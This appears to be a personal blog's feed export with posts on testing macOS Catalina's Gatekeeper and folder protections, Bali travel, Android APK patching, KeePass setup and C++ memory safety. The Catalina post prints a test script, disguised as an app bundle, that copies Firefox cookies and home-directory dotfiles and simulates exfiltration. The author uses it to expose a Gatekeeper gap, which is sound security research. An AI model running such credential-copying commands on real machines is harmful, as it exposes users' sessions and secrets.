tag:blogger.com,1999:blog-45878891508855884132024-03-18T02:47:32.369-07:00Roman's NotesUnknownnoreply@blogger.comBlogger37125tag:blogger.com,1999:blog-4587889150885588413.post-46868191055418401602020-01-02T23:58:00.002-08:002020-01-03T00:00:19.527-08:00Testing Catalina security features<p>macOS Catalina has introduced some new security features which while annoying for some, made me interested in how could they block malware and improve endpoin security without needing antivirus. This is by far not the first step taken by Apple in this area and we can expect some futher improvements in the following macOS releases.</p>
<h2 id="folder-access">Folder access</h2>
<p>I’m testing this with FreePlane, a Java based mind-mapping software. It is packaged as a Mac app and signed. With no file permission given, I’m</p>
<ul>
<li>able to save to <code>~/Archive/deleteme.mm</code></li>
<li>able to read from the above file (including listing the directory)</li>
<li>list <code>/var/log</code> directory</li>
<li>not able to read <code>~/Downloads</code></li>
<li>not able to read <code>~/Documents</code></li>
</ul>
<p>The conclusion therefore is that only <code>~/Downloads</code>,<code>~/Documents</code>,<code>/Volumes</code> are protected by this mechanism while application specific data is still freely available. This already has the potential to limit the blast radius of ransomware (if users didn’t carelessly click allow on everything) but won’t stop me from e.g. stealing Firefox cookies. I think we can expect a model similar to mobile in a near future MacOS update where application specific data will also be protected in the same way.</p>
<h2 id="downloading-malware">Downloading malware</h2>
<p>I downloaded a binary <code>sbtool</code> using Firefox. Running it from the terminal, I get an error message saying the app is from an unknown developer and cannot be verified. So this part works as expected. It works well even for dynamic libraries, had to click to allow each of them when downloading <code>yubico-piv-tool</code>.</p>
<p>However, I’m having trouble triggering any mechanism against my shell script packaged as an app bundle. The file contents is</p>
<pre><code>#!/bin/sh
OUT=~/Tasks/access
mkdir -p $OUT
cp ~/Library/ApplicationSupport/Firefox/Profiles/*/cookies.sqlite $OUT
cp ~/.* $OUT
# these folders are actually protected
cp ~/Documents/contract_upgrade.mm $OUT/from_Documents.mm 2> $OUT/log.txt
cp ~/Downloads/2019110001.jpg $OUT/from_Downloads.jpg
# data exfiltration
curl 'https://raw.githubusercontent.com/vim-airline/vim-airline/master/doc/airline.txt' > $OUT/airline.txt
sleep 9999</code></pre>
<p>and this file is simply placed into a directory structure like this to make it an app:</p>
<pre><code>malware.app/Contents/MacOS/malware</code></pre>
<p>then it can be run from the Finder as a regular app. It doesn’t display any message box but the execution was successful as we can see from the output folder. Only the files from <code>Documents</code> and <code>Downloads</code> were not read, as we know these are the only protected locations (for now anyway). I have granted full disk access to iTerm2.</p>
<p>From the Console.app logs we can see that the system primarily considers <code>/bin/sh</code> and the result is that it’s not blocked. Even adding the <code>com.apple.quarantine</code> extended attribute to the package doesn’t trigger anything when launching.</p>
<p>This seems like a complete hole in Gatekeepers purpose because frankly, shell scripts can do a lot and if that’s not enough, you can just call the built-in Python interpreter which even includes bindings to ObjC. I didn’t see any article discussing this aspect of Gatekeeper online.</p>
<h1 id="sandbox">Sandbox</h1>
<p>A sandbox which restricts access to system calls has been available in MacOS for a long time and it was even usable by the user. You can define a set of permissions using a Scheme-like language and then run a process under that restriction using <code>sandbox-exec</code>. Apparently this functionality is now deprecated and some supporting tools have already been removed.</p>
<p>It’s not very practical to create your own sandbox profiles (I tried for VLC and am still getting permissions denied which don’t get logged in system log) so I guess Apple is probably going to encourage / blackmail developers to do it for their own apps (sandboxing is already required for App Store and of course iOS).</p>
<h1 id="bonus-compilable-sbtool">Bonus: compilable sbtool</h1>
<p>Jonathan Levin has written a tool that lets you query sandbox status of processes. But he’s omitted some files in the source code leaving most people to use the precompiled binary. I managed to sew a few pieces together to make it compile:</p>
<p><a href="https://gist.github.com/Quiark/d289d73697956c8020b330526223a70e">compilable sbtool</a></p>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-4587889150885588413.post-23026012751316501182017-02-10T22:22:00.003-08:002017-02-10T22:25:52.179-08:00Bali Impressions<div class="separator" style="clear: both; text-align: center;">
<p><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIus_RBYGk-v8Yt5bzpV494zIVXf-SkR6_l_8esOMEoevlOUsRLPynmTES3_A1tG6WleUn_xBI7coWekuqQKP5jf1elo6pGslixeYl30SQ-Fmj-hTG-nYAFQ70ZERhvRsVb6Wn3bFpSKJj/s1600/DSCF1993.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="425" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIus_RBYGk-v8Yt5bzpV494zIVXf-SkR6_l_8esOMEoevlOUsRLPynmTES3_A1tG6WleUn_xBI7coWekuqQKP5jf1elo6pGslixeYl30SQ-Fmj-hTG-nYAFQ70ZERhvRsVb6Wn3bFpSKJj/s640/DSCF1993.jpg" width="640" /></a></p>
</div>
<ul>
<li>They still have rainforests! It is one of the places where the oil palm tree monoculture has not (yet, gasp!) replaced the orignal old forest.</li>
<li>Local bell music sounds very nice.</li>
<li>There seems to be a local tape with flute and bamboo stick music that's supposed to be chill and relaxing. Our hotel played it every morning at breakfast. From 6 am. From a speaker right under my window. It woke me up reliably every morning and I hate it now. But it seems to be pretty popular in Bali anyway, I heard it in Ubud a few times.</li>
<li>If you like exotic arts, you want a wood, stone or bone sculpture from Bali.</li>
<li>It's not super cheap. If you've read one of those 'personal finance' blogs saying that 'you can afford to live abroad and it'll be cheaper than home' then, well, don't come to tourist centers of Bali.</li>
<li>It's touristy. Nusa Dua, Jimbaran and Ubud are all already rather urbanized and tourism is well established. Not for you if you're trying to get away from people. Better stay at home with your computer.</li>
<li>The people are friendly and merry. Our Uber driver was joking all the time that his eyes are not good and that he likes funny mushrooms from Lombok. We survived so it was funny in the end.</li>
<li>Did I mention the beautiful nature? Rainforest (with authentic rain as well!), sandstone cliffs, deep blue sea, reefs. And I was lucky to see a few manta rays. Majestic.</li>
<li>Food is great too. Curry and curry-like seasonings or peanut sauce is what I will remember most as local flavours and crackers, skewers and sugar peanuts is what I will remember in terms of ... shapes?</li>
</ul>
<div class="separator" style="clear: both; text-align: center;">
<p><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGqnumG8HGw9bdSzndykGUGafhAEsrfLuoPyYBCbg6F4al18LtsYLu5VIGG9ZJU4gtznrFNdJyjnR9RjVlFTMkP0p9DyEUFqtt3PkL7pRD0DTbmlXZL_HnMkJI4-pMKx1FDK5P3jSR_rnv/s1600/DSCF2104.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="426" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGqnumG8HGw9bdSzndykGUGafhAEsrfLuoPyYBCbg6F4al18LtsYLu5VIGG9ZJU4gtznrFNdJyjnR9RjVlFTMkP0p9DyEUFqtt3PkL7pRD0DTbmlXZL_HnMkJI4-pMKx1FDK5P3jSR_rnv/s640/DSCF2104.jpg" width="640" /></a></p>
</div>
<p>There are some downsides too:</p>
<ul>
<li>Taxi mafia. Uber, on the other hand, has been a great user friendly experience.</li>
<li>Hawkers trying to push you into buying stuff you don't need. They don't worry about lying about it either.</li>
</ul>
<p>9 / 10, would visit again</p>
Unknownnoreply@blogger.com1tag:blogger.com,1999:blog-4587889150885588413.post-57974984529955746082017-01-29T01:51:00.002-08:002017-01-29T01:52:40.961-08:00Reverse Engineering Android APKs<p>Although I've never actually written any Android app, I've been playing around with its internals a bit. I own a phone that has CyanogenOS by default (that's already history), of course I've rooted it as well as bricking my previous phone during ROM changes.</p>
<p>I also tried reversing some android apps with various degrees of success. My main project was 'hacking' the Xiaomi YeeLight bedside lamp app to be able to control it programatically. Xiaomi did not provide any API but if I can modify the APK to accept commands, that's all I need.</p>
<p>Here are the slides for a talk I gave about basic reverse engineering in Codeaholics Hong Kong meeting. After that you can find some more details about the YeeLight case.</p>
<h2 id="roadblocks">Roadblocks</h2>
<ul>
<li>obfuscation (great against getting a general view but not if I'm targeting one specific thing)</li>
<li>anti-decompilers (can be always bypassed)</li>
<li>anti-debuggers (can also be bypassed)</li>
<li>time investment (can not be bypassed)</li>
</ul>
<h2 id="apk-contents">.apk contents</h2>
<ul>
<li>Java code compiled to <code>smali</code> register VM, saved all in <code>classes.dex</code></li>
<li><code>AndroidManifest.xml</code> in some kind of binary form</li>
<li>native machine libraries <code>.so</code> (ARM, x86, ..)</li>
<li>resources</li>
</ul>
<h2 id="smali">smali</h2>
<ul>
<li>Icelandic "assembler"</li>
<li>register based, as opposed to standard JVM stack-based</li>
<li>closer to the CPU, less work for JIT compiler</li>
<li>reasonably readable</li>
</ul>
<pre><code> const-string v5, "UTF8"
invoke-static {p0, v3, v4, v5}, Lcom/google/zxing/client/result/optional/NDEFURIResultParser;->bytesToString([BIILjava/lang/String;)Ljava/lang/String;
move-result-object v2</code></pre>
<h2 id="decompiled">decompiled</h2>
<ul>
<li>no variable names (unless debug symbols)</li>
<li><code>try/catch</code> blocks often broken</li>
<li>usually can't use Java compiler to put it back together</li>
<li>obfuscation -> all methods and classes are now named alphabetically (<code>cd.i(a, b, c, d)</code>)</li>
</ul>
<h2 id="bcv-front-end">BCV front-end</h2>
<ul>
<li>Makes it easy to run decompilers on <code>.dex</code> or <code>.jar</code></li>
<li>still not quite there for more in-depth analysis</li>
<li>so I use ... a text editor!</li>
<li>decompile everything to <code>.java</code>, put in git and write comments</li>
</ul>
<h2 id="patching-apks">Patching APKs</h2>
<ul>
<li>Example: YeeLight</li>
<li>write a new class in Android Studio (add <code>YeeLight.jar</code> to project)</li>
<li>compile to <code>.smali</code></li>
<li>add the smali to already extracted <code>apk folder/smali</code></li>
<li><h2 id="modify-.smali-files-to-construct-and-invoke-the-new-class">modify <code>.smali</code> files to construct and invoke the new class</h2></li>
<li>rebuild using <code>apktool</code></li>
<li>sign</li>
<li>zipalign</li>
<li>Install on your device!</li>
</ul>
<h1 id="working-on-the-yeelight-app">Working on the YeeLight app</h1>
<p>This app is obfuscated and, quite honestly, contains a lot of code. It has a screen with a colour gradient where touching the colour would change the light color accordingly. I started by finding this <code>Activity</code> and trying to find the click handler. I planned to go deeper and eventually end up in the code that's sending Bluetooth commands but I got lost.</p>
<p>Then I tried to watch the <code>logcat</code> while using the app and found that the colour changes are being echoed in the log. One code search for this particular string got me into a class that was fully obfuscated but probably was somewhere on the way to sending the commands. Further reading the decompiled code revealed a consumer for these messages as well as conversion from a colour object to the Bluetooth message.</p>
<p>The next step was to write a network listener class in Java. It would run in its own thread and accept UDP packets sent to the broadcast address. Each colour change requires only 4 bytes of data so UDP is the simplest choice. Broadcast address is used to avoid needing any configuration - I can just send it out on my home network.</p>
<p>This Java code now needs to be converted to a <code>.smali</code> file. There are tools that should be able to convert it directly from a <code>.class</code> or a <code>.jar</code> but at that time, they did not work. So I ended up creating a dummy Android project in Android Studio to achieve the same result:</p>
<ol style="list-style-type: decimal">
<li>Create a project in Android Studio.</li>
<li>Convert <code>classes.dex</code> from the YeeLight apk into a <code>YeeLight.jar</code> using <code>dex2jar</code>.</li>
<li>Add the <code>YeeLight.jar</code> to the project as dependency. This will allow you to call methods from the original APK.</li>
<li>Build APK from the project.</li>
<li>Use <code>apktool</code> to disassemble the result, obtaining a <code>.smali</code> file for your class.</li>
</ol>
<p>Now you can add this new <code>.smali</code> file to the original APK. You also need to actually create an instance and call this new code in an appropriate place. That requires manually editing the existing <code>.smali</code> code of the app. If you can find where, it's not too difficult.</p>
<p>Finally, rebuild the APK using <code>apktool</code>, zip-align and sign it. This process is a bit more complicated than it should be so I have a little script for it right here: <a href="https://github.com/Quiark/ApkReBrowser/blob/master/session.ps1#L106">My Apk Scripts</a></p>
<p>Now you can install the app and try it out. If it works, you may want to disable updates for it otherwise the Play store will overwrite your efforts.</p>
<p>With a custom plugin for Kodi that sends the colour commands over UDP, the result is this: <iframe width="560" height="315" src="https://www.youtube.com/embed/1dli8FCRXlc" frameborder="0" allowfullscreen></iframe></p>
<h1 id="list-of-resources-and-tools">List of resources and tools</h1>
<ul>
<li><a href="https://ibotpeaches.github.io/Apktool/install/">apktool</a></li>
<li><a href="https://github.com/Konloch/bytecode-viewer">BCV</a></li>
<li><a href="https://github.com/pxb1988/dex2jar">dex2jar</a></li>
<li><a href="https://github.com/Quiark/ApkReBrowser">my scripts and notes</a></li>
<li><a href="https://sable.github.io/soot/">soot</a></li>
</ul>
Unknownnoreply@blogger.com8tag:blogger.com,1999:blog-4587889150885588413.post-34720449119302568602016-11-26T07:19:00.004-08:002016-12-10T20:24:34.198-08:00KeePass Ultimate Setup and Security Guide<h2 id="introduction">1 Introduction</h2>
<p>Passwords are our gateway to interacting with the digital world. It's how we show that it's really us because no one else could know our password, right? Passwords are not perfect or very convenient to use but it's the only thing we have now. Better options are being researched, one of them could be the U2F token but for now we're stuck with passwords.</p>
<div class="separator" style="clear: both; text-align: center;">
<p><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhd0qbSr2w4o2G7Esx8TQnou5Oa02WCRLqq9dzfaEgcMXohcTCb44IpDHiHTPyT02fBSzsqrai87zAxInc_mNDPVvX14CvoCS42Nz1OSw33TrrFyNZLmC6_hdxL-iOzpQLZVdMSGJX-a7mj/s1600/yubikey.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhd0qbSr2w4o2G7Esx8TQnou5Oa02WCRLqq9dzfaEgcMXohcTCb44IpDHiHTPyT02fBSzsqrai87zAxInc_mNDPVvX14CvoCS42Nz1OSw33TrrFyNZLmC6_hdxL-iOzpQLZVdMSGJX-a7mj/s200/yubikey.png" width="200" /></a></p>
</div>
<p>I heard people don't follow the best practices for safe passwords. And who's to blame? We are supposed to have strong passwords containing all kinds of crazy characters and different for each site. And everybody is using at least 10 sites on a regular basis plus around 100 other random sites they already forgot about. Humans can simply never remember 10 or more strong passwords and if they can, it's probably because they've been participating in memorizing competitions.</p>
<p>Let the computer remember things for you and you can forget all your passwords except one. Using a password manager (in this article I'm introducing KeePass 2), you can save all your passwords securely encrypted with a single master password. This master password will be long but you'll be able to remember it easily because you'll use it every day and it's the only one you need.</p>
<p>In this article I'll introduce KeePass 2, the open source password manager as well as a security analysis. So you can have concrete arguments explaining why it's secure. The first part of each section will explain how to use the password manager securely and is required reading. The second part will explain how the security works and you don't have to read it.</p>
<h3 id="security-analysis">1 1 Security analysis</h3>
<ul>
<li>It's necessary to use a different password on different sites in case one of them gets breached (it did happen, LinkedIn, Yahoo, ...). If you're a hacker and need a password for a more important website, first try to compromise other services that person is using.</li>
<li>What if somebody compromises my computer and steals my unlocked password vault? That could happen but in that case they'll also have access to all your private files and even if you didn't use a password manager, access to websites you're already logged in to. Keeping your devices free of malware is always necessary.</li>
<li>"I still don't feel good about centralizing all my passwords in one place", you say. That is generally a sound security attitude but consider that your primary email account already centralizes access to most of your services because it's used for forgotten password reset.</li>
<li>For critical sites (such as email), it's best to also use 2 Factor Authentication.</li>
</ul>
<h2 id="getting-started">2 Getting started</h2>
<h3 id="download">2 1 Download</h3>
<p>The original KeePass 2 application is Windows only. It can be downloaded from this page <a href="http://keepass.info/download.html" class="uri">http://keepass.info/download.html</a>. Choose the <em>Installer</em> button on top right and wait a moment for the download to start.</p>
<p>Alternatively, download from <a href="https://www.fosshub.com/KeePass.html" class="uri">https://www.fosshub.com/KeePass.html</a>, choose "KeePass Installer, Professional Edition" (it's a strange name choice. Don't download the classic edition).</p>
<p>For a Mac, download KeePassX from <a href="https://www.keepassx.org/downloads" class="uri">https://www.keepassx.org/downloads</a> and install in the usual Mac fashion.</p>
<h3 id="installation">2 2 Installation</h3>
<p>When starting the installation on Windows, it should show a security window asking if you really want to install this program. This window <em>MUST</em> show <strong>Open Source Developer, Dominik Reichl</strong>. If not, do not allow it and delete the downloaded installer as you got a bad copy.</p>
<p><strong>Security Analysis:</strong></p>
<ul>
<li>The project homepage as well as SourceForge mirrors don't have HTTPS. That's a bummer but the application files are digitally signed by the developer and the certificate is recognised by Windows. Therefore checking the digital signature provides stronger security than HTTPS. Furthermore, the FOSShub link is served over HTTPS.</li>
<li>The homepage for KeePassX does use HTTPS as well as the download. It does not have digital signatures but it can be downloaded from a website owned by the project's author and not a third-party (as is the case with sourceforge).</li>
</ul>
<h3 id="choosing-the-master-password">2 3 Choosing the master password</h3>
<p>After you install the program, you can create a new database. Now is the time to create your master password.</p>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;">
<tbody>
<tr>
<td style="text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQ7PDVuVDu0chnJk_WSR6-lruxOE0z9wsB_QjX7KgMOvFo7Cu8cu8fli4H_oGFM5G9E6I6gduM-fi6wCtpLt8YPPHWLYX78jYN-f8FBqfriSMhcN-1RS0hkC4v5wL_vOHuhm3Inj8vMy75/s1600/password.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQ7PDVuVDu0chnJk_WSR6-lruxOE0z9wsB_QjX7KgMOvFo7Cu8cu8fli4H_oGFM5G9E6I6gduM-fi6wCtpLt8YPPHWLYX78jYN-f8FBqfriSMhcN-1RS0hkC4v5wL_vOHuhm3Inj8vMy75/s1600/password.png" /></a>
</td>
</tr>
<tr>
<td class="tr-caption" style="text-align: center;">
Setting the password
</td>
</tr>
</tbody>
</table>
<p>This will be the main password that unlocks your database. It must be strong, stronger than your Facebook or banking password. It must be a new password, not something you were using before on a website. You must remember it well (try to type it a few times and then again the next day).</p>
<p>Your master encryption password needs to be really good. It should be at least 12 characters long but a better way is to pick a dictionary book and randomly pick 5 or 6 totally unrelated words. Maybe you can even combine multiple languages! "pasta blip port Bled nehmen" sounds good.</p>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;">
<tbody>
<tr>
<td style="text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSwfRHRgvXPqviLICPD59IuyFGm3Jx29b5ew0spwkPoCAx_janU2vLL-IgG5WxT5o5jF2F__i0tadrfYTOL_JE_dLHmc5foUZwQ80zkyt63yV4_ERtJ3wdz1R6wx18Ox4SORThXg4aHTau/s1600/iterations.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSwfRHRgvXPqviLICPD59IuyFGm3Jx29b5ew0spwkPoCAx_janU2vLL-IgG5WxT5o5jF2F__i0tadrfYTOL_JE_dLHmc5foUZwQ80zkyt63yV4_ERtJ3wdz1R6wx18Ox4SORThXg4aHTau/s1600/iterations.png" /></a>
</td>
</tr>
<tr>
<td class="tr-caption" style="text-align: center;">
Setting "encryption difficulty"
</td>
</tr>
</tbody>
</table>
<p>After creating your database, you may want to go to File / Database Settings and then Security tab. Here, click the "1 second delay" link to properly set number of key transformation rounds. This is basically something like "encryption difficulty" and it increases the time taken to unlock the vault. A 1 - 5 sec delay is sufficient if you have a good password.</p>
<p>Don't forget to save you password vault file!</p>
<p><strong>Security Analysis:</strong></p>
<ul>
<li>The problem with encryption passwords is that a potential attacker, after stealing your encrypted database, can just keep trying all possible words until they can crack it. Actually they'll program a computer to do it while they are having a beer. The computer can try <em>alot</em> of passwords per second.</li>
<li>Because of the danger of cracking the passwords, encryption tools also include a delay to slow it down. You can configure it in KeePass. The bigger delay and the better the password, the safer you are.</li>
<li>It's a good idea to increase the "encryption difficulty" 5 years later because computers will be faster in the future.</li>
</ul>
<h3 id="settings">2 4 Settings</h3>
<p>These settings are subjective and also depend on who can have access to your machine. This is what I would recommend for normal use. In Tools / Options:</p>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizvpdx9pEJ7lc4j5ihu3XU2quxCAX0oJeCvY6TqEd3lPQPTTZ0_GrHmBfXjYUZRIGc7mfzdeh5xRsmxvtoiSb0dyYmyR-teW_TKDPov8LGh_WX1oSGtlfnJIWlfg9GRMFqV74F_xde9xHL/s1600/settings.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizvpdx9pEJ7lc4j5ihu3XU2quxCAX0oJeCvY6TqEd3lPQPTTZ0_GrHmBfXjYUZRIGc7mfzdeh5xRsmxvtoiSb0dyYmyR-teW_TKDPov8LGh_WX1oSGtlfnJIWlfg9GRMFqV74F_xde9xHL/s1600/settings.png" /></a>
</div>
<p>Enable "Lock workspace after global user inactivity" and set it to 360 s or less.</p>
<p>Enable "Clipboard auto-clear time".</p>
<p>Enable "Lock workspace when computer is about to be suspended".</p>
<p>On the Interface tab, I like to enable "Drop to background after copying data to the clipboard".</p>
<h3 id="settings-for-keepassx">2 5 Settings for KeePassX</h3>
<p>This program is slightly different from the original Windows KeePass 2. Transform rounds ("encryption difficulty") can be set in Database / Database Settings. Again, you can click the <em>Benchmark</em> button to configure it to a recommended value.</p>
<p>Enable automatic locking in KeePassX / Preferences, on the Security tab.</p>
<h3 id="plugins">2 6 Plugins</h3>
<p>There are many plugins created by the community for KeePass. Currently I'm using none of them. Be careful because plugins can break security of KeePass and even their authors may not realize that. For example a browser integration plugin increases the risk quite a bit.</p>
<h2 id="day-to-day-usage">3 Day to day usage</h2>
<p>Besides the security and cryptography, KeePass is a pretty ordinary program from a user perspective. Click Edit / Add Entry ... to add a new password entry. The program will automatically generate a new strong password for you so you only need to enter the site name and address (used by browser integration). Then click OK and File / Save to save the database.</p>
<p>To use a stored password, you have two options. The first one is to copy to clipboard (simply Ctrl+C) and paste in the website. The second option, which is slightly more convenient and slightly more secure is to use Auto-Type. Switch to your browser and place the cursor in the login form, in the user name field. Then switch to KeePass and select Perform Auto Type on the password entry. It will automatically log you in!</p>
<p>You can also create groups and assign icons to your entries but I think it's best to simply search for a site when you need it using the search box on the toolbar.</p>
<p>You can also use KeePass to safely store any other pieces of information such as bank PIN. It's not very suitable for storing files though. You may need to look at your OS' disk encryption or VeraCrypt.</p>
<h2 id="syncing-the-database">4 Syncing the database</h2>
<p>It's 2016, you probably have more than one computing device. Maybe you have too many of them. And you need to access your password database on all of them. This is where KeePass lags behind the commercial password vaults because you'll need to set it up by yourself. But don't worry, you can just use Dropbox or Google Drive ... or OneDrive or SpiderOak or any other file sync service you may already be using. Just put your password database in there and you're done.</p>
<p>Sounds insecure? Well the database is encrypted so if your password is good, your data is safe. Still feeling uncomfortable about it? You can add another factor - a keyfile. KeePass allows you to generate a file that is required to decrypt the database. You will then manually (using an USB stick) copy this file to any computer you want to use the password database on. Do not put it in Dropbox! Without the keyfile (and your password) there's no way in hell anyone could crack your encrypted database.</p>
<h3 id="step-by-step">4 1 Step by step</h3>
<p>Dropbox and Microsoft OneDrive will automatically sync any file you put in their special folder. Other similar services will probably do the same but I haven't used them.</p>
<p>First, add a keyfile to your password vault. If you already have created one, open it in KeePass and choose File / Change Master Key. In the dialog box here, enable both Master password and Key File. Type your master password again (don't need to change it). Then click Create to create a keyfile. Do <em>not</em> put this keyfile in your Dropbox. After finishing this, you can save the password vault to your Dropbox and it will be synchronized to your other computers using Dropbox.</p>
<p>Now you need to transfer the keyfile to your other computers. The best way to do this is offline, without using the internet. Copy the keyfile on an USB stick and use it to copy the file. Again, do not place the keyfile in the Dropbox folder. You should consider locking this USB stick safely to keep it as a backup of your keyfile. If not, don't forget to delete the keyfile off the USB stick before using it for something else.</p>
<p>Now you can use your password and the keyfile to open your password vault. The vault will be synchronized by Dropbox</p>
<h3 id="security-analysis-1">4 2 Security Analysis:</h3>
<ul>
<li>If even a bit worried, use a keyfile.</li>
<li>If you lose your keyfile (or your master password), you won't be able to open the password database, ever. So write both on a paper and keep it at home, in a safe or something.</li>
<li>I'd prefer using a file sync service that supports file versions such as Dropbox or Google Drive. MS OneDrive can't.</li>
<li>Really, no one can break the encryption (AES algorithm). And if the NSA can, it'll cost millions of $$. Hacking your computer will be cheaper so that's what you should focus on next.</li>
<li>A practical way to delete the keyfile from an USB stick is to completely fill up the USB stick with other data (such as large movie files). Unfortunately it may not guarantee all traces of it disappear since flash chips may over-provision to make up for faulty portions. So the most secure way is to not use an USB but rather copy the file manually (it's just text and not that long).</li>
</ul>
<h2 id="other-password-managers">5 Other password managers</h2>
<p>Before KeePass I've been using LastPass. Together with 1Password, these seem to be the most established password managers at this time. Let me share some thoughts about how they compare. Note that the security analysis here focuses on the worst case scenarios and can sound a bit scary.</p>
<p>In terms of price and development model, KeePass is free and open source, LastPass is commercial but free for basic use and 1Password is fully paid. It's easier for security people to check the security of open-source software.</p>
<p>LastPass works as a browser plugin, same with 1Password. That's more risky from security point of view. For one, malicious websites might find some way to steal a password. KeePass is simple and isolated from the browser. Also, if a commercial password manager company changes management, gets sold or becomes subverted by a government, it could publish an update of its browser plugin that steals your data. That's a risk with all software that you use, including Windows or OS X. Again, KeePass is slightly smaller risk in this respect if you carefully check each update that you install.</p>
<p>For ease of use, the commercial programs may be more convenient. They take care of synchronization for you and 1Password is beloved for its user interface.</p>
<h3 id="new-password-managers">5 1 New password managers</h3>
<p>While it's great that people try to innovate in the security area, I'd be always wary about new password managers until it's proven their developers know what they're doing. Security is not easy and a new product made by people without proper knowledge and experience can be a risk, even when the developers have good intentions.</p>
<h2 id="who-am-i-to-write-about-this">6 Who am I to write about this?</h2>
<p>I've been a software developer (a computer guy) longer than I can remember and in the past few years I've been focusing on cryptography engineering and security, studying and implementing cryptographic things at work. I found a crypto problem with a <a href="https://github.com/pfn/keepasshttp/issues/258">browser extension for KeePass</a>. So I know enough to realize that I don't actually know enough yet! Also, I'm a <a href="http://cryptopals.com/sets/6/challenges/45">level 45</a> crypto wizard ;)</p>
<p>Have I personally audited KeePass? Nope. But it's trusted by internet people and honestly, there's not that much to screw up since it's a rather simple program. I hope to take a look one day.</p>
Unknownnoreply@blogger.com9tag:blogger.com,1999:blog-4587889150885588413.post-67102846404753798772016-10-21T23:59:00.001-07:002017-02-10T22:02:42.933-08:00Crafting reliable C++Everybody hates bugs <em>[citation needed]</em>. Why spend time hunting down bugs when you could be shipping code and earning money? This is especially true of low-level memory management bugs in C/C++. If you’re a newbie, words like memory leak, use-after-free or double-delete may not have an effect on you but any experienced developer will recoil at these words in horror or start chanting “asan, asan, asan, …” So, OK, <a href="http://stackoverflow.com/questions/4130051/software-development-costs-pyramid&sa=D&ust=1476794013311000&usg=AFQjCNHdCZ5F3Ewh3vI2m9hP6t-oYEIVLg">we don’t want</a> these bugs in our code, let them go somewhere else. This is especially true in my field of crypto engineering where bugs in crypto code or protocols can lead to complete failure of the projects. And <a href="http://www.darkreading.com/vulnerabilities---threats/stagefright-20-vuln-affects-nearly-all-android-devices-/d/d-id/1322446&sa=D&ust=1476794013311000&usg=AFQjCNGCt6g14NL9zPlpJrnVb5H7xYjiMQ">bugs</a> in <a href="http://www.theregister.co.uk/2016/05/12/popular_zip_tool_7zip_pwned_pain_flows_to_top_security_software_tools/&sa=D&ust=1476794013312000&usg=AFQjCNFwjJisF3IJc4tsckwqmbDlnONTHg">ordinary programs</a> can cause security problems just as well.<br />
The weapons I choose for this battle are Modern C++, automated testing, static analysis from `the compiler, dynamic analysis tools, fuzzers and patience. <a href="http://lwn.net/Articles/249460/&sa=D&ust=1476794013313000&usg=AFQjCNFxvJ15GZAG9Mlg46xBbpkal_Cj9w">Some people don’t like C++</a> or code C++ like it was plain old C. Sure, those Linux kernel programmers have a quantum computer in their head that lets them simulate all possible program paths at the same time to see where a lock or memory are not released. But I’m just a human and can barely keep track of the socks in my drawer so I have to find another way, one that is more fool-proof and doesn’t require so many socks.<br />
So here are my top <em>n</em> tools and techniques to make my C++ less buggy, crashing less often and more reliable. It’s totally not a complete list but rather an introduction, a base level of tooling that everybody should know about but somehow not always does.<br />
<h1 id="1-deleting-objects">
1 Deleting objects</h1>
C doesn’t have a garbage collector so we have to clean up our garbage manually. If we don’t, the program will eventually drown in garbage and run out of memory (but not before trashing the hard drive by swapping). The old and deprecated option is to do a <code>delete obj;</code> manually. This is completely unreliable (because it’s manual). You may forget to do this when having multiple exits from a method. Or when a method throws an exception. Or when another method you call throws an exception. Not to mention returning objects that the caller then has to free.<br />
The <em>modern</em> approach is to use RAII which is a weird name for a simple concept: use the destructor to do all cleanup at the end of scope. If we have a scope with an object on the stack like this:<br />
<pre class="prettyprint"><code class=" hljs r">{
VictorTheCleaner v;
<span class="hljs-keyword">...</span>
}</code></pre>
then the destructor of <code>v</code> will be called when the scope is exited and it can take care of any deleting, releasing and cleaning that’s necessary. A scope can be exited in several ways:<br />
<ul>
<li>normal program flow reaches the <code>}</code> brace</li>
<li>a statement such as <code>return</code>, <code>break</code>or <code>continue</code> causes program flow to jump out</li>
<li>an exception is thrown</li>
</ul>
These are cases where you would have to manually do a delete and where the destructor will do it for you. The most common usage is a smart pointer that “owns” a non-smart (stupid) pointer and is responsible for deleting it. Another usage can be making sure you close a database connection. Or close a file. Or a network socket. Or change the process current directory to what it was before. This is equivalent to the <code>using</code> clause in languages such as C# and Python. C++ doesn’t have a dedicated keyword, instead we use the destructor. <br />
<h2 id="1-2-uniqueptr">
1 2 unique_ptr</h2>
The standard library template class <code>std::unique_ptr<T></code> is designed to take care of the most common case - when you need to automatically delete an object. Use <code>std::unique_ptr<T></code>. Use it for function local variables, use it as object members (to be safe if your constructor throws). Use it <em>especially</em> for C land objects that are created with functions like <code>EC_POINT_new()</code> and must be deallocated with <code>EC_POINT_free()</code>. This is how you can set a user defined function as the deleter:<br />
<pre class="prettyprint"><code class=" hljs delphi">template<typename T, void <span class="hljs-comment">(*Fn)(T*)</span>>
